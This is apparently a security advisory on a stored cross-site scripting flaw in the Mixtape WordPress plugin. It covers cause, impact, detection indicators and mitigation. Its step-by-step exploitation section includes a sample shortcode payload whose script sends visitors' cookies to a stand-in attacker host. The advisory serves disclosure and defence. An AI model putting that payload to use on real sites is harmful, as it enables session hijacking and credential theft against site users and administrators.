CVE-2025-9860: 
WordPress vulnerability analysis and mitigation

CVE-2025-9860 is a Stored Cross-Site Scripting (XSS) vulnerability in the Mixtape plugin for WordPress, affecting all versions up to and including 1.1. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's mixtape shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute whenever a visitor accesses the affected page. It was published on September 11, 2025, with a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's front-end class (class-mixtape-front.php, line 75), where attributes passed to the [mixtape] shortcode are not properly sanitized before being rendered in the page output. An authenticated attacker with at least contributor privileges can craft a post or page containing a malicious shortcode attribute embedding JavaScript, which is then stored in the database and executed in the browsers of any user who views the page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. The scope is marked as Changed, meaning the impact extends beyond the authenticated attacker's own session to affect other users of the WordPress site. Confidentiality and integrity are both partially impacted, while availability is unaffected (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-9860. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on a site running the Mixtape plugin version 1.1 or earlier.
2. Create or Edit a Post: Navigate to the WordPress post editor and create a new post or edit an existing one where the [mixtape] shortcode can be inserted.
3. Inject Malicious Shortcode: Insert a crafted shortcode with a malicious attribute, for example: [mixtape attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"], exploiting the lack of output escaping.
4. Publish the Post: Submit or publish the post so the malicious content is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the embedded JavaScript executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing [mixtape shortcode with unusual attribute values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing [mixtape shortcode with embedded <script> tags or JavaScript event handlers (e.g., onerror, onload) in shortcode attributes.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing the Mixtape shortcode, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for this stored XSS; however, review recently modified posts/pages in the CMS for injected shortcode content.

WordPress site administrators should update the Mixtape plugin to a version beyond 1.1 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict contributor-level user registrations and limit who can publish or submit posts containing shortcodes. Implementing a Web Application Firewall (WAF) with XSS filtering rules can help detect and block exploitation attempts. Wordfence users with the premium plugin benefit from firewall rules that may mitigate this class of attack (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for September 8–14, 2025, noting it was discovered and assigned through their threat intelligence program (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified.